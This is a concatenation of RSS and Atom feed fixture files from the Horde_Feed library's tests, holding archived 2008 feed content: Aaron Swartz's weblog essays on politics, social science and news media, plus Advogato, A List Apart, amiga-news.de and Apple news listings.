    The fact is, if governments really want to promote startups and the economic innovation they bring, they shouldn't listen to the standard refrain of cut taxes and deregulate. They need to start rebuilding the social safety net, so that their citizens know that if they go out on a limb and try something risky, someone will be there to catch them if things don't work out.

    Thanks to Daniel Brook's book The Trap: Selling Out to Stay Afloat in Winner-Take-All America for suggesting this line of argument and providing the statistics.

    ]]>     2008-06-09T15:25:23-05:00     The False Consciousness Falsehood http://www.aaronsw.com/weblog/falsecon American intellectual life has a large number of ways of responding to an argument without actually addressing its substance -- namecalling in other words. You can say that someone is "blaming the victim" or spinning a "conspiracy theory" or "assuming people are stupid" or that they're subject to "false consciousness".

    Most of these are kind of transparently silly, but even otherwise smart people seem to think the false consciousness charge has some heft to it. The argument is never fully spelled-out, but the argument seems to be that to think that people are systematically mistaken about their own interests is the kind of crazy idea that only vulgar Marxists would believe and, furthermore, it requires assuming that people are stupid and explaining how you've been able to see past the illusion.

    Well, I'm personally not under any illusion that providing a rational explanation is going to stop people from leveling this charge, but I figure one ought to, if only to set the record straight.

    Let's begin with a parable -- a simplified case that will at least establish whether some of these arguments are logically true. Imagine a new regime comes to power that decides to imprison everyone with red hair. They insist that there is nothing amiss about this -- they were elected democratically, and furthermore, everyone imprisoned is still allowed to vote. But inside the prisons, they only permit limited contact with the outside world. Most prisoners only watch the one prison-provided news station which is systematically biased, constantly suggesting that the Purple Party is in favor of additional rights for red-haired people while their opponents, the Yellow Party, just used the red-haired issue for pandering. (Anyone who's watched, say, Fox News discuss black issues will know how this is possible.) The result is that when election time rolls around, the majority of red-haired prisoners vote for the Purple Party candidate who gets into power and provides no new rights for them.

    Call it false consciousness or not, I think it's perfectly reasonable to look at this situation and say while the red-haired prisoners are not stupid, they are systematically mistaken, which is leading them to act against their own interests. If they knew the truth they would vote for the Yellow Party, the party which wants to take steps to get them out of prison, instead. Furthermore, it's possible to imagine that there are some prisoners who, through one means or another, have learned this and thus are able to see this situation while the other prisoners do not. (They try to tell the other prisoners what's going on, but they keep getting labeled conspiracy theorists.)

    Now obviously vast portions of America are not imprisoned. But most people do get their news from a small number of sources and I think everyone would agree that, in one way or another, these sources are systematically biased. (You can argue about which way they're biased or whether it makes a difference, but I think it's pretty clear that all the major news sources share a general conception of what is "news" and what isn't.) So why is it so implausible that something similar is going on?

    The major difference between the two scenarios is that in the first, people were basically forced to watch the biased news, while in the real world they have lots of other alternatives. But I'm not sure this matters as much as it might seem at first.

    First, most people have busy lives that don't revolve around the news or politics and thus are going to get the news in the most convenient form they can. For most people, this is typically television or the newspaper. But starting a new television station or newspaper is very expensive, especially if you want it to have wide reach, and the only projects that can get funding and advertising are those that buy into at least some of the systematic biases. So for most people, there simply isn't a better alternative when it comes to the formats they want.

    Second, even if someone gets their news from the Internet or another source where getting started is less expensive, they may not know about the alternatives. If you grew up with your parents reading the New York Times you may simply live your life checking in on nytimes.com, without ever stopping to wonder whether the news you were getting was systematically biased and whether there was some more preferable alternative.

    Again, just as there was no way for the prisoners to know they were being lied to, it's not really reasonable for the average person to figure out that they're getting biased news if the only news they read comes from biased sources.

    Now I'm not arguing here that this idea is true (that would require more real-world evidence), merely that it's possible. The fact is that we live in a world where most people get their information about what's going on from a very small number of sources which tend to report largely the same things in the same way. This seems like a rather important fact of life and I think we ought to stop dismissing suggestions that it might have some negative effects on people out of hand.

    ]]>     2008-05-19T18:56:45-05:00     Tectonic Plates and Microfoundations http://www.aaronsw.com/weblog/microfoundations In 1915, Alfred Wegener argued that all the continents of Earth once used to fit together as one giant supercontinent, which he later named Pangea. As Wikipedia summarizes:

    In his work, Wegener presented a large amount of circumstantial evidence in support of continental drift, but he was unable to come up with a convincing mechanism. Thus, while his ideas attracted a few early supporters ... the hypothesis was generally met with skepticism. The one American edition of Wegener's work ... was received so poorly that the American Association of Petroleum Geologists organized a symposium specifically in opposition.... ... By the 1930s, Wegener's geological work was almost universally dismissed by the scientific community and remained obscure for some thirty years.

    Today, of course, every schoolchild knows about Pangea. But for a long time the theory was dismissed, not because it lacked evidence or predictive power -- it explained why the shapes of the continents fit together, why mountain ranges and coal fields lined up, why similar fossil were found in places separated by oceans, and so on -- but because Wegener had no plausible mechanism.

    A similar problem happens in the social sciences. Paul Krugman recently noted that while Larry Bartels (in his new book Unequal Democracy) provides solid, convincing evidence that Republican presidents systematically preside over slower growth and increasing inequality, most social scientists don't believe him because we haven't yet identified the mechanisms. Krugman:

    Now, I'm a big Bartels fan; I've known about this result for quite a while. But I've never written it up. Why? Because I can't figure out a plausible mechanism. Even though I believe that politics has a big effect on income distribution, this is just too strong -- and too immediate -- for me to see how it can be done. Sure, Republicans want an oligarchic society -- but how can they do that?

    Bartels, for his part, argues that providing the mechanisms isn't his job -- his goal is to highlight the phenomena and encourage many others to research the mechanisms:

    How do presidents produce these substantial effects?

    One of my aims in writing Unequal Democracy was to prod economists and policy analysts to devote more attention to precisely that question. Douglas Hibbs did important work along these lines ... He found that Democrats favored expansionary policies ... while Republicans endured and sometimes prolonged recessions in order to keep inflation in check. (Not coincidentally, unemployment mostly affects income growth among relatively poor people, while inflation mostly affects income growth among relatively affluent people.) In recent decades taxes and transfers have probably been more important. Social spending. Business regulation or lack thereof. And don't forget the minimum wage. Over the past 60 years, the real value of the minimum wage has increased by 16 cents per year under Democratic presidents and declined by 6 cents per year under Republican presidents; that's a 3% difference in average income growth for minimum wage workers, with ramifications for many more workers higher up the wage scale. So, while I don't pretend to understand all the ways in which presidents' policy choices shape the income distribution, I see little reason to doubt that the effects are real and substantial.

    When it comes to addressing such arguments more generally, the most famous commentator is Jon Elster. In his classic article "Marxism, Functionalism, and Game Theory", he insists:

    Without a firm knowledge about the mechanisms that operate at the individual level, the grand Marxist claims about macrostructures and long-term change are condemned to remain at the level of speculation.

    (To be fair, Elster doesn't make this as a general argument, but his vehemence has led some of his followers to suggest that it is.)

    To be clear, I think discovering mechanisms is important work. All I'm arguing is that it shouldn't be a necessity for believing in a theory. Instead, I believe it's an irrational side-effect of an emotional distaste for gaps in knowledge.

    As evidence, let me note that such demands for mechanisms never go more than one level deep. Nobody has ever said, "Well, your theory that people are motivated by greed is all very nice, but I just can't believe it until you can explain how greed is manifested in the brain." Neuroscience is obviously the microfoundation of psychology, but psychological theories are regularly accepted without neuroscientific microfoundations.

    In general, it seems like such commentators support a double-standard. Theories with mechanisms should be judged by their fit with the evidence and predictive power. Theories without mechanisms should be judged by the evidence and predictive power and whether you can think of any plausible mechanisms. I don't see how this can be justified. There's no reason mechanism should be privileged in the assessment of knowledge; things are true or false, even if we don't know why they are true or false.

    Indeed, it we typically only investigate the causes of phenomena once we're convinced that they exist. (Elster admits as much in Explaining Social Behavior, noting that establishing a phenomena's existence is the first step towards explaining it.) So let's stop making the mistake of not believing things are true because we don't know how they happen.

    ]]>     2008-05-14T04:13:01-05:00     Simplistic Sociological Functionalism http://www.aaronsw.com/weblog/socfunc (I thought I should talk about the other form of functionalism for a change.)

    Often sociologists notice a pattern in which certain attributes of a social system fits well with a particular social structure. To take an example I have at hand, Rosabeth Moss Kanter notes that because a secretary has access to facts that could embarrass her boss, it's convenient for the boss that the secretary is entirely dependent upon him for wages and status.

    Unfortunately, these claims are often phrased as saying X causes Y. Here's how Kanter does it:

    The possibilities for blackmail inherent in [a secretary's] access ... to the real story behind the boss's secrets ... made it important that she identify her interest as running with, rather than against, his. Thus, forces were generated for the maintenance of a system in which the secretary ... was to find her status and reward level dependent on the status and, hence, success of her boss. (Men and Women of the Corporation, 82)

    Note that, although she is unusually careful to hedge her comments ("made it important", "forces were generated", "maintenance of a system") Kanter is making a particular historical claim here: the secretary could blackmail, which pushed the boss to tighten control. But this is not the type of claim that Kanter, who's research consisted mostly of direct observation of present-day offices, is likely to have any real evidence for.

    Making such claims is problematic, both because most sociologists don't really know whether they are strictly true, and because they lead Jon Elster to show up at your house and yell at you for hours. But both problems can be easily avoided: simply rephrase such comments to describe the phenomena as effects rather than causes.

    Instead of saying a secretary's ability to blackmail leads bosses to tighten their grip, simply note that the boss's tight grip has the effect of weakening the secretary's ability to blackmail. You get all the same points across and nobody gets hurt. See? Easy.

    ]]>     2008-05-13T08:15:10-05:00     How to Fix the News http://www.aaronsw.com/weblog/deadnews Newspaper circulation continues to decline. The top-selling paper in the country, USA Today, distributes only 2 million copies a day (half, no doubt, placed outside hotel room doors). Around the same number, with an average age of 71, watch The O'Reilly Factor nightly, with the number decreasing as the audience dies off. Everyone quietly concedes the news industry is dying. It's the Internet's fault, they all assure us.

    But what if it wasn't? The other day I heard a news program that was so good that I wanted to listen to it again. And I'm not alone -- all my friends have been talking about it as well. And while I don't have exact numbers, it seems as popular as any one of those other news outlets. That show? The This American Life episode on The Global Pool of Money -- a comprehensive explanation of the housing mess.

    There were three things about the show that made it stand out from the rest of the news pack:

    1. It believed in the intelligence of its audience. It didn't try to pander with sex or disasters or quick cuts. It took a serious news story and investigated it thoroughly for a full hour, with only one break. And it didn't try and dumb any of it down -- it explained the whole thing, from top to bottom.

    2. It didn't assume you already knew the subject. Most news stories on important topics are incomprehensible to the average person who doesn't know much about their topic. Here's a quote from a random news story about the housing crisis: "They said financial institutions have been unwilling to expose themselves to the mortgage market, and lenders are hesitant to lend to risky borrowers in a declining house price market after the subprime meltdown." Unless you've been following the story (like the reporter, presumably) do you really know what that means? TAL instead assumed you knew nothing and explained every component and term so that you actually had a picture of what was going on.

    3. It was done in an entertaining and conversational tone. It didn't treat the news as some important series of facts that had to be seriously conveyed to you. It treated it as something interesting they wanted to tell you about, a story that involved real people's lives (who you got to hear from at length) and was full of genuinely interesting pieces. Look at that news quote above one more time. Can you really imagine someone sitting down and saying that with a straight face?

    At first these things may seem contradictory -- how can you believe in the intelligence of your audience while assuming they don't know anything? how can you be entertaining and yet still explain a subject? -- but the more you think about them you see how well they fit together. Being intelligent doesn't mean you're knowledgeable; it means you're curious. Which means you want to hear the whole story from beginning to end and which means you might actually find it entertaining. And being conversational prevents you from assuming the mask that lets you talk down to your audience while pretending they only need to hear the handful of new facts that you're providing.

    In every other field, that kind of formality has been dropped. Even banks run advertisements these days about how their associates will be your friend. And yet the news chugs along with its arrogant formality, watching its audience get older and older, and wondering why its circulation is declining.

    Together, these three points seem like the recipe for a genuine news show: intelligent, comprehensive, and entertaining. And yet, I can't think of a single thing that follows them. Surely in an era of desperation and experimentation, the wacky idea of actually respecting your audience has to be worth a try by someone. Anyone want to give it a shot?

    ]]>     2008-05-12T08:38:36-05:00     Science or Philosophy?: Jon Elster and John Searle http://www.aaronsw.com/weblog/sciphil As the name suggests, the social sciences have often seen themselves as an analogue or extension of the natural sciences and have from the beginning aspired to their successes. Like many who want to duplicate success they do not understand, social sciences has been obsessed with duplicating the form of the natural sciences and not its motivations. Just as rival music player manufacturers have tried to copy the look of the iPod without understanding why it takes that look, the social sciences have copied the structure of the natural sciences without understanding why they take that structure.

    The greatest success of the natural sciences is undoubtedly the laws of physics. Here, an handful of simple equations can accurately predict the motion of a vast variety of everyday objects under common actions. Seeing this, social scientists have aspired to derive similar laws that predict the behavior of whole societies. (Others, meanwhile insist the entire project is impossible because the society will respond to the creation of the law, making the law invalid -- reflexivity.)

    But reflection upon the history of the natural sciences will see that this notion is insane. Physics did not develop thru attempts to discover the laws that explained all of motion. Instead, various kinds of motion (like falling objects) were described, rules for their behavior deduced, and commonalities in those rules discovered. Eventually it was the case that the commonalities were so great and the rules so few that a handful of laws could explain most of the phenomena, but this assumption was not made a priori.

    Jon Elster argues that the social sciences should proceed in a similar way: various social phenomena should be described, the mechanisms that give rise to them explained, and the commonalities among mechanisms discovered. Most of his work consists of practicing social science in this way, with a few attempts at laying out a toolbox of these common mechanisms.

    Modern social science is so split between attempts at grand law-like theories and modest essays of careful description that Elster's third way seems alien and hard to comprehend. But there is a clear model that social scientists can look to: analytical philosophy.

    Analytical philosophers do not take as their task grand law-like explanations for the world. Instead, they set upon a particular piece of conception -- language, free will, ethics -- and try to discover its logical structure. In doing so they often develop tools they shared in common with other philosophical projects.

    This similarity can perhaps be best seen in the work of the man who is Jon Elster's closest equivalent in the world of analytical philosophy, John Searle. In his career, Searle has addressed a number of topics: language, intentionality, consciousness, social reality, and rationality. Throughout he has taken has his task providing a clear description of the phenomena and explaining the pieces it consists of. And in explaining those pieces, he frequently develops tools that he reuses in his other explanations.

    Take the notion of direction of fit. Searle argues that all statements have a direction of fit, which can be either up, down, both, or null. If we imagine (by convention) that statements float above the world pointing down at the things they represent, then statements like "John and Jill are married", in which it is the job of the statement to change to accurately represent the world, have a downward direction of fit. By contrast, statements like "I want to marry him", in which it is the world must change to match the statement, have an upward direction of fit.

    This notion, which Searle and Austin developed for describing language, Searle later reused for describing mental states. Love, for example, has an upward direction of fit, belief downward, and joy null. And in my own everyday life, I have found the same tool useful in thinking about various phenomena I've encountered.

    Social scientists don't seem to read much philosophy. I suspect most of them see it as an alien culture consisting of, as Paul Graham put it, "either highly technical stuff that doesn't matter much, or vague concatenations of abstractions their own authors didn't fully understand." But perhaps they should, because even if the technical stuff lacks interest (and considering some of the topics involved, I'm skeptical that this is always the case), the tools, and the way they're wielded, should be a lesson.

    ]]>     2008-05-12T04:14:12-05:00     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.advogato.org-rss-articles.xml0000664000175000017500000004464212653701626027351 0ustar janjan Advogato http://www.advogato.org/ Recent Advogato articles en-us mod_virgule Mon, 22 Sep 2008 04:49:22 GMT Software Freedom Day in Nepal http://www.advogato.org/article/984.html http://www.advogato.org/article/984.html Sun, 21 Sep 2008 20:02:16 GMT Free and Open Source Software (FOSS) Community of Nepal (FOSS-Nepal) observed the fifth international Software Freedom Day today. The day was celebrated by over 500 different volunteer groups in 120 countries. The theme for this year's celebration of FOSS-Nepal was "Create, Share, Collaborate." Honourable Minister of Science and Technology, Ganesh Shah started the proceedings at Yala Maya Kendra in Patan, Kathmandu by unveiling a compilation of Free/Open Source Softwares in a CD named "Nirvikalpa." Honourable Minister also announced the launch of a web-portal named "Prasfutan." "Prasfutan" which means "blossoming" in English aims to provide a collaborative environment to a vast number of local talents in Nepal whose creativity has a reach only up to a limited audience comprising of their acquaintances. This is in sync with the theme of "Create, Share, Collaborate." ePractice community for OSS in the public administration http://www.advogato.org/article/983.html http://www.advogato.org/article/983.html Tue, 16 Sep 2008 18:13:43 GMT Only want to introduce you into the ePractice community for OSS in the public administration ( http://www.epractice.eu/community/opensource/ ) which supports the OSOR.eu inititative. <p> OSOR.eu will be formally launch in Malaga's OSWC. Free Software Supporter, September 2008 http://www.advogato.org/article/982.html http://www.advogato.org/article/982.html Wed, 10 Sep 2008 20:30:01 GMT I'm Matt Lee, Campaigns Manager at the Free Software Foundation. Here with another month of news from the world of GNU and the FSF. <p> <strong><p>Welcome to the Free Software Supporter, the Free Software Foundation's monthly news digest and action update -- being read by you and 10447 other activists. <p> <p>Encourage your friends to subscribe and help us build an audience by adding our subscriber widget to your web site. <p> <ul> <li>Subscribe: http://www.fsf.org/free-software-supporter <p> <li>Widget: http://www.fsf.org/associate/widget </ul> <p> <p>Miss an issue? You can catch up on back issues at http://www.fsf.org/free-software-supporter/.</strong> <p> <strong>In this issue</strong> <p> <ul> <li>Software Freedom Day <li>Happy Birthday to GNU! <li>GNU Planet <li>gNewSense 2.1 released <li>Spring 2008 Bulletin available online <li>Submit your nominations for the 2008 Free Software Awards <li>On the savannah, where the gnu roam... <li>DRM down under <li>Free Hexen and Heretic! <li>Malaysian Government Dept switches to OpenDocument <li>GNU spotlight with Karl Berry <li>Richard Stallman's speaking schedule <li>Take action! </ul> Pyjamas - Python Applications for Desktop and Web http://www.advogato.org/article/981.html http://www.advogato.org/article/981.html Sat, 30 Aug 2008 14:11:56 GMT Leading free software application widget sets include GTK2, QT4 and wxWidgets. Web application development is still considered to be a bit of a black art, with knowledge of CSS, javascript and AJAX trickery making many side-step HTML completely and go for Adobe Flash or Silverlight to get that "rich media" experience that typical Web apps entirely lack. And, worse, writing apps that run - unmodifed - on both the desktop and the web is impossible if you want to stick to Free Software development principles and ethics. <p> <p> AJAX "toolkits" as they are known, such as YUI, Google Web Toolkit and Pyjamas are the "middle-ground" to making Web application development look and feel that much more like you're developing a real desktop application. In the case of GWT and Pyjamas, you're even programming in Java or Python, respectively, and the tool is actually a javascript compiler! The next logical step is to ask the question, "If these toolkits look, feel and smell like Desktop applications development APIs, why are they not *actually* Desktop applications development APIs?". Pyjamas-Desktop is the answer to that question, effectively making Pyjamas a de-facto standard for cross-browser, cross-platform, cross-desktop, cross-environment and, ultimately, a cross-widget-set Free Software applications development API. <p> <p> Finally, there's a way for free software developers to write applications that run - unmodified - as both a web app and a desktop app. Free Software Supporter, August 2008 http://www.advogato.org/article/980.html http://www.advogato.org/article/980.html Fri, 8 Aug 2008 16:53:32 GMT <p>I'm Matt Lee, Campaigns Manager at the Free Software Foundation. Here with another month of news from the world of GNU and the FSF. <p> <b>Welcome to the Free Software Supporter, the Free Software Foundation's monthly news digest and action update -- being read by you and 7,824 other activists. <p> <p> Encourage your friends to subscribe and help us build an audience by adding our subscriber widget to your web site. <p> <p> Miss an issue? You can catch up on back issues too.</b> <p> <p> In this issue: <p> <p> <ul> <li>Why free software and Apple's iPhone don't mix <li>Play Ogg! <li>Pizza Party for friends of the FSF in San Francisco <li>Portland associate membership meeting recap <li>Give Apple the iPhone Challenge <li>Help defeat Microsoft's OOXML format! <li>Atheros releases free software wireless driver <li>Yahoo Music -- the bad dream of DRM continues <li>GNU spotlight with Karl Berry <li>Richard Stallman's speaking schedule <li>Take action! </ul> Free Software Supporter, July 2008 http://www.advogato.org/article/979.html http://www.advogato.org/article/979.html Fri, 8 Aug 2008 16:51:14 GMT <p>I'm Matt Lee, Campaigns Manager at the Free Software Foundation. Here with another month of news from the world of GNU and the FSF. <p> <b>Welcome to the Free Software Supporter, the Free Software Foundation's monthly news digest and action update -- being read by you and 7,824 other activists. <p> <p> Encourage your friends to subscribe and help us build an audience by adding our subscriber widget to your web site. <p> <p> Miss an issue? You can catch up on back issues too.</b> <p> <p> In this issue: <p> <p> <ul> <li>It's not the Gates, it's the bars <li>Act on ACTA! <li>Fight the Canadian DMCA! <li>Rhapsody and Naxos go DRM free <li>Refusing Digital Monitoring Policies <li>5 reasons to avoid iPhone 3G <li>autonomo.us activist group to focus on freedom in network services <li>identi.ca is autonomo.us <li>GNU spotlight with Karl Berry <li>Richard Stallman's speaking schedule <li>Take action! </ul> Free Software Supporter, June 2008 http://www.advogato.org/article/978.html http://www.advogato.org/article/978.html Fri, 8 Aug 2008 16:42:53 GMT <p>I'm Matt Lee, Campaigns Manager at the Free Software Foundation. Here with the first of what will be a regular posting each month of news from the world of GNU and the FSF. Thanks to Steven for giving us the opportunity to post this here. <p> <p> <p> <p> <b>Welcome to the Free Software Supporter, the Free Software Foundation's monthly news digest and action update -- being read by you and 7,824 other activists. <p> <p> <p> <p> Encourage your friends to subscribe and help us build an audience by adding our subscriber widget to your web site. <p> <p> <p> <p> Miss an issue? You can catch up on back issues too.</b> <p> <p> <p> <p> <b>In this issue</b> <p> <p> <p> <p> <p> <p> <ul> <li>New FSF store <li>Farewell Justin, Hello Danny <li>DRM elimination crew at the Apple Store launch <li>Savannah adds Subversion, Mercurial <li>Freedom and privacy in the cloud: a call for action <li>Boycott Windows Media Center! <li>GNU Spotlight with Karl Berry <li>Richard Stallman's speaking schedule and other FSF speeches <li>Take Action with the FSF </ul> A hard problem worth solving http://www.advogato.org/article/977.html http://www.advogato.org/article/977.html Wed, 16 Jul 2008 06:01:59 GMT There's an ongoing debate about whether a free/open source project needs to be "organic" to be worthwhile, where "organic" is (arguably) defined as a project which the first release included source, and is generally characterized as by a distributed development team with no single company truly in control, and "inorganic" is generally code that started off life as a proprietary effort. I'd like to argue that making "inorganic" open source work is a big challenge worth tackling. The Myth that Content Management is easy http://www.advogato.org/article/976.html http://www.advogato.org/article/976.html Thu, 15 May 2008 19:10:27 GMT <b>The Myth</b><br> Content Management is easy. You download one of the numerous systems available, plug-in your data. Something magical happens (???) and out comes a professional looking and operating website. This obviously manages all of your content from all different sources with ease. All you have to do is make a template and you&rsquo;re done! If this sounds like something you&rsquo;ve heard and are suspiciously weary of. You should be, because it&rsquo;s all snake oil! If it was that easy I would probably quit my job and go study law. Since it is not, let us continue first by giving a brief background on what content management is. GNU and FSF News for May 2008 http://www.advogato.org/article/975.html http://www.advogato.org/article/975.html Thu, 8 May 2008 21:24:06 GMT Skype fought the GPL and the GPL won. The OLPC XO project abandons free software just as RMS switches to an XO; RMS not happy. New monthly newsletters from the FSF and FSFE. GNOME and KDE want to have a joint development conference in 2009. GNOME and GCC conferences coming up later this year. Plus all the usual news: more GPL v3 conversions, HURD news, GNOME news, GCC news, and more. Rsync on Steroids http://www.advogato.org/article/974.html http://www.advogato.org/article/974.html Sat, 26 Apr 2008 16:33:38 GMT Rsync is an incredibly powerful tool that synchronises anything from a single file to an entire hierarchical filesystem, over a network. Unlike many other synchronisation methods, rsync will use the outdated copy of a file to save on network traffic (resulting in anything up to 99% optimisation). <p> <p> Rsync the <i>implementation</i> however is restricted to only Posix systems (such as Linux, Cygwin and *BSD), and, worse, its implementation can only perform operations on Posix-based filesystems. This seems somewhat puzzling, and, as part of the continued Tech Fusion series, this article will outline some of the amazingly powerful things that could be done with rsync... <i>if</i> it had a VFS layer. Apologies to Pizza! http://www.advogato.org/article/973.html http://www.advogato.org/article/973.html Sat, 26 Apr 2008 14:46:16 GMT informal though this is, it's important enough to say as an article. i've been keeping an eye on the series currently being written and some of my comments - most notably to Pizza - indicate that i'm "jumping up and down". so Pizza - many apologies! :) Distributed Debian Distribution Development http://www.advogato.org/article/972.html http://www.advogato.org/article/972.html Sat, 26 Apr 2008 01:50:40 GMT As part of the Tech Fusion Outline Series, this article describes some additions to the Debian Distribution model which, if implemented, would have the benefits of making Debian, the Debian Development and deployment entirely independent of Server-based Infrastructure. <p> <p> The brief outline will be expanded in this dedicated article, pointing out how tieing together components and technology that already exists would be useful not only for Debian but also for other purposes, such as video and audio media distribution. <tt>(A method of payment for work on Debian or other media is not within the scope of this article but is easily conceivable).</tt> This article therefore explains how and why Debian Distribution Development could go "Distributed". Free Choice: the "Social Business" model and Free Software http://www.advogato.org/article/971.html http://www.advogato.org/article/971.html Wed, 23 Apr 2008 23:56:18 GMT Free Software developers fall into two main categories: those that stand by the principles behind free software - patent-free, license-free and unrestricted distribution (for example, Richard Stallman's admirable stance); and those that are simply happy to compromise to some extent, for example to download libdvdcss to watch DVDs, or to install proprietary software such as Skype, on the basis that there is simply no (or no better) alternative (for example, Ubuntu which supports all kinds of proprietary firmware and binary drivers, and gets itself into enormous difficulties as a result). <p> These "level of integrity" choices are decisions that we, as Free Software developers, are free to make. Yet the average person is simply unaware of these issues of "integrity", or they are but do not value them highly, choosing "interoperability with their friends and businesses" as "more important". Or worse, they agree that integrity is important yet are forced into making decisions to use - and stick with - proprietary software. In such instances, the level of experience of (and thus the offerings available from) Free Software developers in a particular area of specialist expertise that the users absolutely must have before being able to consider migration, is close to or literally zero. <p> As Free Software developers, is it therefore ethical for us to ignore these people whose lives are blighted by lack of choice, or is it more ethical for us to remain in our integrity, by providing non-interoperable Free Software alternatives (with no means of conversion between the free and proprietary software)? <p> To put that another way: should Free Software developers serve themselves and their own needs, or should they look to serve others? This article highlights these quite important questions that every Free Software developer should be asking themselves, and advocates a way to proliferate, protect, enjoy and benefit from Free Software principles: that of the "Social Business". Free Soft Wear ? http://www.advogato.org/article/970.html http://www.advogato.org/article/970.html Mon, 21 Apr 2008 23:33:49 GMT Arrrgh ! <p> I'm not a PiRRRate, I'm a PRRRivateeRRR !!! <p> (I've got them letters of mark, from me uncle Sam !) Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.alistapart.com-rss.xml0000664000175000017500000000512312653701626026063 0ustar janjan A List Apart http://www.alistapart.com/ en-us A List Apart Issue 263 Walking the Line When You Work from Home Working from home as a freelance contractor or remote employee can be a great thing, particularly if you live alone. But what if you have a spouse and/or children at home with you while you work? Every work environment offers distractions, but those who work from home with their families face a unique set of issues—and need equally unique ways of dealing with them. <p>&nbsp;</p><p><em><strong>Hide Your Shame:</strong> The A List Apart Store and T-Shirt Emporium is back. Hot new designs! Old favorites remixed! S, M, L, XL. <a title="The A List Apart store" href="http://www.alistapart.com/store/">Come shop with us</a>!</em></p> Thu, 10 Jul 2008 23:06:35 GMT nospam@example.com (Natalie Jost) http://www.alistapart.com/articles/walkingthelinewhenyouworkfromhome http://www.alistapart.com/articles/walkingthelinewhenyouworkfromhome Business Industry Project Management and Workflow How Do You Walk the Line Between Work and Home? Share Your Best Practices With ALA Tell us how you overcome isolation, distractions, and temptation. How you deal with kids and deadlines. How you walk the blurry line between work and home. Share your best practices on working from home so we can present them in an upcoming issue of <cite>A List Apart.</cite> <p>&nbsp;</p><p><em><strong>Hide Your Shame:</strong> The A List Apart Store and T-Shirt Emporium is back. Hot new designs! Old favorites remixed! S, M, L, XL. <a title="The A List Apart store" href="http://www.alistapart.com/store/">Come shop with us</a>!</em></p> Fri, 11 Jul 2008 03:08:41 GMT nospam@example.com (ALA Staff) http://www.alistapart.com/articles/workfromhomesurvey http://www.alistapart.com/articles/workfromhomesurvey Business Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.amiga-news.de-en-backends-news-index.rss0000664000175000017500000000355112653701626031215 0ustar janjan amiga-news.de - Latest Amiga News en http://www.amiga-news.de/en/ amiga-news.de - Latest Amiga News MorphOS: Revision control system Git 1.6.0.2 http://www.amiga-news.de/en/news/AN-2008-09-00070-EN.html MorphOS: Vector graphic program MOS-Creator 0.1d (alpha) http://www.amiga-news.de/en/news/AN-2008-09-00069-EN.html Magazine: aMiGa=PoWeR, issue 42 http://www.amiga-news.de/en/news/AN-2008-09-00066-EN.html AmigaOS 4.1: Another progress report http://www.amiga-news.de/en/news/AN-2008-09-00065-EN.html ACube: 533-Mhz version of SAM440 sold out http://www.amiga-news.de/en/news/AN-2008-09-00064-EN.html Advocate Gravenreuth in prison http://www.amiga-news.de/en/news/AN-2008-09-00063-EN.html Czech Pegasos User Group with new name and new website http://www.amiga-news.de/en/news/AN-2008-09-00062-EN.html Commodore Amiga Unix: Beta 3J "discovered" http://www.amiga-news.de/en/news/AN-2008-09-00061-EN.html MorphOS: Homeworld port http://www.amiga-news.de/en/news/AN-2008-09-00060-EN.html AROS-Bounties: Porting to Cygwin http://www.amiga-news.de/en/news/AN-2008-09-00059-EN.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.apple.com-main-rss-hotnews-hotnews.rss0000664000175000017500000003155512653701626031133 0ustar janjan Apple Hot News http://www.apple.com/hotnews/ Hot News provided by Apple. en-us Copyright 2008, Apple Inc. Mon, 21 Jul 2008 13:42:27 PDT Mon, 21 Jul 2008 13:42:27 PDT Apple In house http://blogs.law.harvard.edu/tech/rss/ Apple reports record third quarter results http://www.apple.com/pr/library/2008/07/21results.html?sr=hotnews.rss In financial results for its fiscal 2008 third quarter, Apple reported its best June quarter for both revenue and earnings in Apple’s history, posting revenue of $7.46 billion and net quarterly profit of $1.07 billion, or $1.19 per diluted share. It also set a new record for Mac sales, shipping 2,496,000 Macs during the quarter, representing 41 percent unit growth and 43 percent revenue growth over the year-ago quarter. Mon, 21 Jul 2008 13:41:45 PDT Apple golden in 2008 International Design Excellence Awards http://www.businessweek.com/magazine/content/08_30/b4093044731823.htm?sr=hotnews In its special report on the IDEA 2008 winners, BusinessWeek reports that the iPhone, MacBook Air, and the Apple Wireless Keyboard won Gold awards and iMac won a Silver award in the prestigious annual competition sponsored by the Industrial Designers Society of America (IDSA). Fri, 18 Jul 2008 15:59:32 PDT Now playing on iTunes U: “Ask a Biologist” http://deimos3.apple.com/WebObjects/Core.woa/Browse/asu.edu.1231717017?sr=hotnews Hosted by Dr. Biology (CJ Kazilek) and brought to us by Arizona State University, “Ask a Biologist” features interviews of prominent scientists who discuss tiger beetles, marine biology, the history of fire, microbes, bird song, arachnology, and a wide range of other life science topics. Whether you listen to the shows, read the transcripts, or both, “Ask a Biologist” makes for an enjoyable and thought provoking experience. Fri, 18 Jul 2008 09:24:03 PDT Five stars to iPhone 2.0 software http://www.pcadvisor.co.uk/reviews/index.cfm?reviewid=2288&pn=1 From the new App Store to easier mail management to support for Microsoft Exchange and MobileMe, PC Advisor steps you through the major and minor additions and improvements offered by iPhone 2.0 software. Awarding it five stars for its value for the money, PC Advisor concludes that iPhone 2.0 offers “a welcome step-up for what was already arguably the best mobile platform on the market.” Thu, 17 Jul 2008 15:49:30 PDT New App Store offers addictive fun http://www.usatoday.com/tech/columnist/edwardbaig/2008-07-16-apple-apps-ipod-iphone_N.htm?sr=hotnews So far as Ed Baig (usatoday.com) is concerned, “the App Store for iPhone and iPod touch” is “the killer app many of us expected,” an application that “turns the iPhone into an important new computing platform.” In his review, Baig takes a look at some of the apps — Pandora, AOL Radio, Super Monkey Ball, MooCowMusic: Band, Etch A Sketch, and five others — that can make “you feel like a kid in a toy store.” Thu, 17 Jul 2008 15:38:51 PDT Unleashing a flood of apps for iPhone http://www.nytimes.com/2008/07/17/technology/personaltech/17basics.html?sr=hotnews “If you have an iPhone,” cautions Rik Fairlie (NYTimes.com), “you just might forget that the device is capable of making phone calls,” considering all of the diverting applications available on the new iPhone App Store. “Simple to use, thanks to its elegant and intuitive interface,” the App Store offers “an object lesson for other cellphone makers and carriers on how to make your customers’ phones indispensable.” Thu, 17 Jul 2008 15:06:29 PDT iPhone 3G “the touchscreen phone to beat” http://www.laptopmag.com/review/cell-phones/iphone-3g.aspx?sr=hotnews “iPhone 3G is the best touchscreen phone and media player by far on any network,” proclaims Mark Spoonauer (laptopmag.com) in his 